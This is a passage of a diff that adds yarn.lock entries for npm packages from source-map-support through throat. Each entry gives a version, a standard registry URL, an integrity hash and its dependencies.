+  integrity sha512-BokxPoLjyl3iOrgkWaakaxqnelAJSS+0V+De0kKIq6lyWrXuiPgYTGp6z3iHmqljKAaLXwZa+ctD8GccRJeVvg==
+  dependencies:
+    abab "^2.0.5"
+    iconv-lite "^0.6.3"
+    source-map-js "^1.0.1"
+
+source-map-support@^0.5.6, source-map-support@~0.5.20:
+  version "0.5.21"
+  resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.21.tgz#04fe7c7f9e1ed2d662233c28cb2b35b9f63f6e4f"
+  integrity sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==
+  dependencies:
+    buffer-from "^1.0.0"
+    source-map "^0.6.0"
+
+source-map@0.6.1, source-map@^0.6.0, source-map@^0.6.1, source-map@~0.6.0, source-map@~0.6.1:
+  version "0.6.1"
+  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263"
+  integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==
+
+source-map@^0.7.3:
+  version "0.7.4"
+  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.7.4.tgz#a9bbe705c9d8846f4e08ff6765acf0f1b0898656"
+  integrity sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==
+
+source-map@^0.8.0-beta.0:
+  version "0.8.0-beta.0"
+  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.8.0-beta.0.tgz#d4c1bb42c3f7ee925f005927ba10709e0d1d1f11"
+  integrity sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==
+  dependencies:
+    whatwg-url "^7.0.0"
+
+sourcemap-codec@^1.4.8:
+  version "1.4.8"
+  resolved "https://registry.yarnpkg.com/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz#ea804bd94857402e6992d05a38ef1ae35a9ab4c4"
+  integrity sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==
+
+spdy-transport@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/spdy-transport/-/spdy-transport-3.0.0.tgz#00d4863a6400ad75df93361a1608605e5dcdcf31"
+  integrity sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==
+  dependencies:
+    debug "^4.1.0"
+    detect-node "^2.0.4"
+    hpack.js "^2.1.6"
+    obuf "^1.1.2"
+    readable-stream "^3.0.6"
+    wbuf "^1.7.3"
+
+spdy@^4.0.2:
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/spdy/-/spdy-4.0.2.tgz#b74f466203a3eda452c02492b91fb9e84a27677b"
+  integrity sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==
+  dependencies:
+    debug "^4.1.0"
+    handle-thing "^2.0.0"
+    http-deceiver "^1.2.7"
+    select-hose "^2.0.0"
+    spdy-transport "^3.0.0"
+
+sprintf-js@~1.0.2:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
+  integrity sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==
+
+stable@^0.1.8:
+  version "0.1.8"
+  resolved "https://registry.yarnpkg.com/stable/-/stable-0.1.8.tgz#836eb3c8382fe2936feaf544631017ce7d47a3cf"
+  integrity sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==
+
+stack-utils@^2.0.3:
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/stack-utils/-/stack-utils-2.0.6.tgz#aaf0748169c02fc33c8232abccf933f54a1cc34f"
+  integrity sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==
+  dependencies:
+    escape-string-regexp "^2.0.0"
+
+stackframe@^1.3.4:
+  version "1.3.4"
+  resolved "https://registry.yarnpkg.com/stackframe/-/stackframe-1.3.4.tgz#b881a004c8c149a5e8efef37d51b16e412943310"
+  integrity sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw==
+
+static-eval@2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/static-eval/-/static-eval-2.0.2.tgz#2d1759306b1befa688938454c546b7871f806a42"
+  integrity sha512-N/D219Hcr2bPjLxPiV+TQE++Tsmrady7TqAJugLy7Xk1EumfDWS/f5dtBbkRCGE7wKKXuYockQoj8Rm2/pVKyg==
+  dependencies:
+    escodegen "^1.8.1"
+
+statuses@2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/statuses/-/statuses-2.0.1.tgz#55cb000ccf1d48728bd23c685a063998cf1a1b63"
+  integrity sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==
+
+"statuses@>= 1.4.0 < 2":
+  version "1.5.0"
+  resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c"
+  integrity sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==
+
+string-length@^4.0.1:
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/string-length/-/string-length-4.0.2.tgz#a8a8dc7bd5c1a82b9b3c8b87e125f66871b6e57a"
+  integrity sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==
+  dependencies:
+    char-regex "^1.0.2"
+    strip-ansi "^6.0.0"
+
+string-length@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/string-length/-/string-length-5.0.1.tgz#3d647f497b6e8e8d41e422f7e0b23bc536c8381e"
+  integrity sha512-9Ep08KAMUn0OadnVaBuRdE2l615CQ508kr0XMadjClfYpdCyvrbFp6Taebo8yyxokQ4viUd/xPPUA4FGgUa0ow==
+  dependencies:
+    char-regex "^2.0.0"
+    strip-ansi "^7.0.1"
+
+string-natural-compare@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/string-natural-compare/-/string-natural-compare-3.0.1.tgz#7a42d58474454963759e8e8b7ae63d71c1e7fdf4"
+  integrity sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw==
+
+"string-width-cjs@npm:string-width@^4.2.0":
+  version "4.2.3"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
+  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
+  dependencies:
+    emoji-regex "^8.0.0"
+    is-fullwidth-code-point "^3.0.0"
+    strip-ansi "^6.0.1"
+
+string-width@^4.1.0, string-width@^4.2.0:
+  version "4.2.3"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
+  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
+  dependencies:
+    emoji-regex "^8.0.0"
+    is-fullwidth-code-point "^3.0.0"
+    strip-ansi "^6.0.1"
+
+string-width@^5.0.1, string-width@^5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-5.1.2.tgz#14f8daec6d81e7221d2a357e668cab73bdbca794"
+  integrity sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==
+  dependencies:
+    eastasianwidth "^0.2.0"
+    emoji-regex "^9.2.2"
+    strip-ansi "^7.0.1"
+
+string.prototype.includes@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/string.prototype.includes/-/string.prototype.includes-2.0.1.tgz#eceef21283640761a81dbe16d6c7171a4edf7d92"
+  integrity sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.3"
+
+string.prototype.matchall@^4.0.12, string.prototype.matchall@^4.0.6:
+  version "4.0.12"
+  resolved "https://registry.yarnpkg.com/string.prototype.matchall/-/string.prototype.matchall-4.0.12.tgz#6c88740e49ad4956b1332a911e949583a275d4c0"
+  integrity sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.6"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    get-intrinsic "^1.2.6"
+    gopd "^1.2.0"
+    has-symbols "^1.1.0"
+    internal-slot "^1.1.0"
+    regexp.prototype.flags "^1.5.3"
+    set-function-name "^2.0.2"
+    side-channel "^1.1.0"
+
+string.prototype.repeat@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/string.prototype.repeat/-/string.prototype.repeat-1.0.0.tgz#e90872ee0308b29435aa26275f6e1b762daee01a"
+  integrity sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==
+  dependencies:
+    define-properties "^1.1.3"
+    es-abstract "^1.17.5"
+
+string.prototype.trim@^1.2.10:
+  version "1.2.10"
+  resolved "https://registry.yarnpkg.com/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz#40b2dd5ee94c959b4dcfb1d65ce72e90da480c81"
+  integrity sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    define-data-property "^1.1.4"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-object-atoms "^1.0.0"
+    has-property-descriptors "^1.0.2"
+
+string.prototype.trimend@^1.0.8, string.prototype.trimend@^1.0.9:
+  version "1.0.9"
+  resolved "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz#62e2731272cd285041b36596054e9f66569b6942"
+  integrity sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+
+string.prototype.trimstart@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz#7ee834dda8c7c17eff3118472bb35bfedaa34dde"
+  integrity sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+
+string_decoder@^1.1.1:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e"
+  integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==
+  dependencies:
+    safe-buffer "~5.2.0"
+
+string_decoder@~1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8"
+  integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==
+  dependencies:
+    safe-buffer "~5.1.0"
+
+stringify-object@^3.3.0:
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/stringify-object/-/stringify-object-3.3.0.tgz#703065aefca19300d3ce88af4f5b3956d7556629"
+  integrity sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==
+  dependencies:
+    get-own-enumerable-property-symbols "^3.0.0"
+    is-obj "^1.0.1"
+    is-regexp "^1.0.0"
+
+"strip-ansi-cjs@npm:strip-ansi@^6.0.1":
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
+  integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
+  dependencies:
+    ansi-regex "^5.0.1"
+
+strip-ansi@^6.0.0, strip-ansi@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
+  integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
+  dependencies:
+    ansi-regex "^5.0.1"
+
+strip-ansi@^7.0.1:
+  version "7.1.0"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-7.1.0.tgz#d5b6568ca689d8561370b0707685d22434faff45"
+  integrity sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==
+  dependencies:
+    ansi-regex "^6.0.1"
+
+strip-bom@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-3.0.0.tgz#2334c18e9c759f7bdd56fdef7e9ae3d588e68ed3"
+  integrity sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==
+
+strip-bom@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-4.0.0.tgz#9c3505c1db45bcedca3d9cf7a16f5c5aa3901878"
+  integrity sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==
+
+strip-comments@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/strip-comments/-/strip-comments-2.0.1.tgz#4ad11c3fbcac177a67a40ac224ca339ca1c1ba9b"
+  integrity sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==
+
+strip-final-newline@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/strip-final-newline/-/strip-final-newline-2.0.0.tgz#89b852fb2fcbe936f6f4b3187afb0a12c1ab58ad"
+  integrity sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==
+
+strip-json-comments@^3.1.1:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006"
+  integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==
+
+style-loader@^3.3.1:
+  version "3.3.4"
+  resolved "https://registry.yarnpkg.com/style-loader/-/style-loader-3.3.4.tgz#f30f786c36db03a45cbd55b6a70d930c479090e7"
+  integrity sha512-0WqXzrsMTyb8yjZJHDqwmnwRJvhALK9LfRtRc6B4UTWe8AijYLZYZ9thuJTZc2VfQWINADW/j+LiJnfy2RoC1w==
+
+stylehacks@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/stylehacks/-/stylehacks-5.1.1.tgz#7934a34eb59d7152149fa69d6e9e56f2fc34bcc9"
+  integrity sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==
+  dependencies:
+    browserslist "^4.21.4"
+    postcss-selector-parser "^6.0.4"
+
+sucrase@^3.35.0:
+  version "3.35.0"
+  resolved "https://registry.yarnpkg.com/sucrase/-/sucrase-3.35.0.tgz#57f17a3d7e19b36d8995f06679d121be914ae263"
+  integrity sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA==
+  dependencies:
+    "@jridgewell/gen-mapping" "^0.3.2"
+    commander "^4.0.0"
+    glob "^10.3.10"
+    lines-and-columns "^1.1.6"
+    mz "^2.7.0"
+    pirates "^4.0.1"
+    ts-interface-checker "^0.1.9"
+
+supports-color@^5.3.0:
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
+  integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==
+  dependencies:
+    has-flag "^3.0.0"
+
+supports-color@^7.0.0, supports-color@^7.1.0:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
+  integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
+  dependencies:
+    has-flag "^4.0.0"
+
+supports-color@^8.0.0:
+  version "8.1.1"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-8.1.1.tgz#cd6fc17e28500cff56c1b86c0a7fd4a54a73005c"
+  integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==
+  dependencies:
+    has-flag "^4.0.0"
+
+supports-hyperlinks@^2.0.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz#3943544347c1ff90b15effb03fc14ae45ec10624"
+  integrity sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==
+  dependencies:
+    has-flag "^4.0.0"
+    supports-color "^7.0.0"
+
+supports-preserve-symlinks-flag@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz#6eda4bd344a3c94aea376d4cc31bc77311039e09"
+  integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==
+
+svg-parser@^2.0.2:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/svg-parser/-/svg-parser-2.0.4.tgz#fdc2e29e13951736140b76cb122c8ee6630eb6b5"
+  integrity sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==
+
+svgo@^1.2.2:
+  version "1.3.2"
+  resolved "https://registry.yarnpkg.com/svgo/-/svgo-1.3.2.tgz#b6dc511c063346c9e415b81e43401145b96d4167"
+  integrity sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==
+  dependencies:
+    chalk "^2.4.1"
+    coa "^2.0.2"
+    css-select "^2.0.0"
+    css-select-base-adapter "^0.1.1"
+    css-tree "1.0.0-alpha.37"
+    csso "^4.0.2"
+    js-yaml "^3.13.1"
+    mkdirp "~0.5.1"
+    object.values "^1.1.0"
+    sax "~1.2.4"
+    stable "^0.1.8"
+    unquote "~1.1.1"
+    util.promisify "~1.0.0"
+
+svgo@^2.7.0:
+  version "2.8.0"
+  resolved "https://registry.yarnpkg.com/svgo/-/svgo-2.8.0.tgz#4ff80cce6710dc2795f0c7c74101e6764cfccd24"
+  integrity sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==
+  dependencies:
+    "@trysound/sax" "0.2.0"
+    commander "^7.2.0"
+    css-select "^4.1.3"
+    css-tree "^1.1.3"
+    csso "^4.2.0"
+    picocolors "^1.0.0"
+    stable "^0.1.8"
+
+symbol-tree@^3.2.4:
+  version "3.2.4"
+  resolved "https://registry.yarnpkg.com/symbol-tree/-/symbol-tree-3.2.4.tgz#430637d248ba77e078883951fb9aa0eed7c63fa2"
+  integrity sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==
+
+tailwindcss@^3.0.2:
+  version "3.4.17"
+  resolved "https://registry.yarnpkg.com/tailwindcss/-/tailwindcss-3.4.17.tgz#ae8406c0f96696a631c790768ff319d46d5e5a63"
+  integrity sha512-w33E2aCvSDP0tW9RZuNXadXlkHXqFzSkQew/aIa2i/Sj8fThxwovwlXHSPXTbAHwEIhBFXAedUhP2tueAKP8Og==
+  dependencies:
+    "@alloc/quick-lru" "^5.2.0"
+    arg "^5.0.2"
+    chokidar "^3.6.0"
+    didyoumean "^1.2.2"
+    dlv "^1.1.3"
+    fast-glob "^3.3.2"
+    glob-parent "^6.0.2"
+    is-glob "^4.0.3"
+    jiti "^1.21.6"
+    lilconfig "^3.1.3"
+    micromatch "^4.0.8"
+    normalize-path "^3.0.0"
+    object-hash "^3.0.0"
+    picocolors "^1.1.1"
+    postcss "^8.4.47"
+    postcss-import "^15.1.0"
+    postcss-js "^4.0.1"
+    postcss-load-config "^4.0.2"
+    postcss-nested "^6.2.0"
+    postcss-selector-parser "^6.1.2"
+    resolve "^1.22.8"
+    sucrase "^3.35.0"
+
+tapable@^1.0.0:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/tapable/-/tapable-1.1.3.tgz#a1fccc06b58db61fd7a45da2da44f5f3a3e67ba2"
+  integrity sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==
+
+tapable@^2.0.0, tapable@^2.1.1, tapable@^2.2.0, tapable@^2.2.1:
+  version "2.2.1"
+  resolved "https://registry.yarnpkg.com/tapable/-/tapable-2.2.1.tgz#1967a73ef4060a82f12ab96af86d52fdb76eeca0"
+  integrity sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==
+
+temp-dir@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/temp-dir/-/temp-dir-2.0.0.tgz#bde92b05bdfeb1516e804c9c00ad45177f31321e"
+  integrity sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==
+
+tempy@^0.6.0:
+  version "0.6.0"
+  resolved "https://registry.yarnpkg.com/tempy/-/tempy-0.6.0.tgz#65e2c35abc06f1124a97f387b08303442bde59f3"
+  integrity sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==
+  dependencies:
+    is-stream "^2.0.0"
+    temp-dir "^2.0.0"
+    type-fest "^0.16.0"
+    unique-string "^2.0.0"
+
+terminal-link@^2.0.0:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/terminal-link/-/terminal-link-2.1.1.tgz#14a64a27ab3c0df933ea546fba55f2d078edc994"
+  integrity sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==
+  dependencies:
+    ansi-escapes "^4.2.1"
+    supports-hyperlinks "^2.0.0"
+
+terser-webpack-plugin@^5.2.5, terser-webpack-plugin@^5.3.10:
+  version "5.3.11"
+  resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-5.3.11.tgz#93c21f44ca86634257cac176f884f942b7ba3832"
+  integrity sha512-RVCsMfuD0+cTt3EwX8hSl2Ks56EbFHWmhluwcqoPKtBnfjiT6olaq7PRIRfhyU8nnC2MrnDrBLfrD/RGE+cVXQ==
+  dependencies:
+    "@jridgewell/trace-mapping" "^0.3.25"
+    jest-worker "^27.4.5"
+    schema-utils "^4.3.0"
+    serialize-javascript "^6.0.2"
+    terser "^5.31.1"
+
+terser@^5.0.0, terser@^5.10.0, terser@^5.31.1:
+  version "5.38.0"
+  resolved "https://registry.yarnpkg.com/terser/-/terser-5.38.0.tgz#df742bb69ee556c29650e926ff154d116f4ccf79"
+  integrity sha512-a4GD5R1TjEeuCT6ZRiYMHmIf7okbCPEuhQET8bczV6FrQMMlFXA1n+G0KKjdlFCm3TEHV77GxfZB3vZSUQGFpg==
+  dependencies:
+    "@jridgewell/source-map" "^0.3.3"
+    acorn "^8.8.2"
+    commander "^2.20.0"
+    source-map-support "~0.5.20"
+
+test-exclude@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/test-exclude/-/test-exclude-6.0.0.tgz#04a8698661d805ea6fa293b6cb9e63ac044ef15e"
+  integrity sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==
+  dependencies:
+    "@istanbuljs/schema" "^0.1.2"
+    glob "^7.1.4"
+    minimatch "^3.0.4"
+
+text-table@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4"
+  integrity sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==
+
+thenify-all@^1.0.0:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/thenify-all/-/thenify-all-1.6.0.tgz#1a1918d402d8fc3f98fbf234db0bcc8cc10e9726"
+  integrity sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==
+  dependencies:
+    thenify ">= 3.1.0 < 4"
+
+"thenify@>= 3.1.0 < 4":
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/thenify/-/thenify-3.3.1.tgz#8932e686a4066038a016dd9e2ca46add9838a95f"
+  integrity sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==
+  dependencies:
+    any-promise "^1.0.0"
+
+throat@^6.0.1:
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/throat/-/throat-6.0.2.tgz#51a3fbb5e11ae72e2cf74861ed5c8020f89f29fe"
